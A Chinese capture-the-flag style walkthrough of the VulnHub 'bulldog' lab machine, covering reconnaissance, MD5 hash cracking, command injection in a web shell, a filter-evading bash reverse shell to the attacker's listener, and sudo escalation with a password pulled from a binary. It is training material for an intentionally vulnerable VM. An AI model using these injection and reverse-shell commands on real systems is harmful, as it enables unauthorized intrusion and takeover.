Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/
下载将其导入VMware,设置网络模式为NAT模式,开启靶机虚拟机
在kali攻击机使用命令nmap -Pn 192.168.172.1/24来获取靶机的IP地址
在这里插入图片描述
这里如果实在扫不出来靶机IP地址的话参考这篇文章来进行设置
https://blog.youkuaiyun.com/qq_45722813/article/details/121324686

得到靶机IP地址后再使用命令nmap -A -p- 192.168.172.137扫描靶机的操作系统及版本,开放端口和服务等,这里发现靶机操作系统版本,开放端口为23对应ssh服务,80和8080端口都对应http服务
在这里插入图片描述
然后打开浏览器在地址栏输入靶机IP地址回车打开网页
在这里插入图片描述
点开“Public Notice”查看,这里我用划词翻译翻译了一下,但是好像没什么用
在这里插入图片描述
然后我们在kali命令行中输入dirb http://192.168.172.137扫描后台目录发现了/admi/dev/dev/shell/
在这里插入图片描述
然后再浏览器地址栏输入http://192.168.172.137/admin,发现一个登录页面
在这里插入图片描述
查看源码,没有什么信息和提示
在这里插入图片描述
把地址栏换成http://192.168.172.137/dev/回车看看,还是一堆英文,但是最下面看到有一些好像是啥用户名或邮箱地址的东西
在这里插入图片描述
再把地址栏的地址换成http://192.168.172.137/dev/shell,提示我们要先想服务器验证才能使用shell
在这里插入图片描述
所以回到刚才的http://192.168.172.137/dev/,然后我们查看源码,发现一些奇怪的东西
在这里插入图片描述
猜测应该是MD5,然后拿去md5解码,得到了nick对应的解码为nulldog,sarah对应的解码为nulldoglover,
在这里插入图片描述
然后回到开始的登录页面,输入用户名和密码进行登录
在这里插入图片描述
登录进去发现还说什么也没有,查看源码也没什么东西
在这里插入图片描述
现在再回到http://192.168.172.137/dev/shell/,发现可以打开页面了,还有一个shell输入框并告诉了可以输入哪些命令,这里应该是远程命令执行
在这里插入图片描述
输入ifconfig | ls有ls的显示,存在命令注入
在这里插入图片描述
然后我们尝试反弹shell,首先在kali机使用命令nc -lnvp 6666进行监听
在这里插入图片描述

然后在web-shell的输入框中输入命令bash -i >& /dev/tcp/192.168.172.131/6666 0>&1执行,但是发现被挡了,他发现我进行攻击了
在这里插入图片描述
然后换种方式,输入命令echo "bash -i >& /dev/tcp/192.168.172.131/6666 0>&1" | bash,执行就可以了
在这里插入图片描述
成功反弹shell
在这里插入图片描述
查看目录,在/home目录下发现一个bulldogadmin
在这里插入图片描述
但是进到bulldogadmin目录下什么都没有
在这里插入图片描述

首先使用命令cat /etc/passwd查看所有用户
在这里插入图片描述
同时发现bulldogadmin是一个用户,所以使用命令find / -user bulldogadmin 2>/dev/null查找bulldogadmin用户的文件,发现这几个隐藏文件
在这里插入图片描述
使用命令cat /home/bulldogadmin/.hiddenadmindirectory/note查看文件内容
在这里插入图片描述
全是英文,将其复制到百度翻译中进行翻译
在这里插入图片描述
再查看另一个文件,命令cat /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp查看,但是全是乱码
在这里插入图片描述
使用命令strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp将文件内容转化为可打印字符在这里插入图片描述
然后直接使用sudo su命令进行提权,发现不行
在这里插入图片描述

出现上面的情况是因为我们是反弹回来的nc shell,这个shell的使用是有限制的,我们要使用命令python -c "import pty; pty.spawn('/bin/bash')"设置tty,将其转化为交互式shell,以便能够完全交互和使用其所有功能
在这里插入图片描述
还是不行,要在命令前面加上sudo才有权限执行
在这里插入图片描述
可以是可以了,但是需要输入用户密码,先试一下bulldog,但是发现不行
在这里插入图片描述
刚才我们将那个乱码文件转化后显示的内容中有一串super password之类的字符串,去掉其中的H组成字符串SUPERultimatePASSWORDyouCANTget,发现成了,已经提权到root用户
在这里插入图片描述
输入cd回车跳转到根目录下,ls命令查看文件及目录,发现有个congrats.txt文件,使用命令cat congrats.txt打开文件查看内容
在这里插入图片描述
它提示这里有两种方式提权到root用户权限,还有一种暂时不知道,就到这里了

参考文章:
https://www.freebuf.com/column/200047.html

### 关于VulnHub Bulldog2靶机无法扫描到IP的解决方案 在渗透测试过程中,如果遇到无法通过常规手段扫描到目标主机的情况,可以尝试多种技术组合来定位目标主机。以下是针对此问题的具体分析建议: #### 使用ARP扫描工具 当标准的`ping`或`nmap`扫描未能发现目标主机时,可以通过局域网内的ARP广播请求找到活动设备。例如,在引用中到的方法3使用了`netdiscover`命令[^3]: ```bash netdiscover -r 192.168.44.0/24 -i eth0 ``` 上述命令会向指定子网发送ARP请求并监听响应,从而识别出网络中的活跃主机。 #### 调整Nmap参数优化扫描效果 除了传统的ICMP Ping外,还可以利用TCP SYN包或其他协议类型的探测方式高成功率。比如下面这条指令包含了服务版本检测(-sV),隐秘模式(SYN半开扫描-sS)以及调整时间模板至更快执行速度(T4)[^2]: ```bash nmap -sS -sV -T4 192.168.11.19 ``` 另外值得注意的是,有时防火墙可能阻止来自外部源地址的数据包进入内部网络;因此有必要确认Kali Linux所在环境与Bulldog2 VM之间确实处于同一物理或者逻辑二层交换结构下(即两者能够互相访问对方MAC层面的信息). #### 测试Telnet/TCP连接验证特定端口状态 即使整体Ping不通某个节点,但如果已知其开放的服务端口号,则可以直接发起相应层次上的握手过程来进行判断是否存在可交互对象。正如材料里所描述那样,“尝试远程连接23端口后失败。”这表明虽然telnet未成功建立session,但仍不失为一种排查思路之一[^1]. 综上所述,对于找不到vulnhub bulldog2 IP这一难题,可以从多个角度出发寻找突破口:一方面借助专门设计用于本地网段探索的应用程序如NetDiscover;另一方面灵活运用高级配置选项丰富的侦查利器-NMAP,并辅以其他辅助性操作进一步缩小范围直至最终锁定确切位置。 ```python import os def scan_network(): command = 'netdiscover -r 192.168.44.0/24 -i eth0' result = os.popen(command).read() print(result) scan_network() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值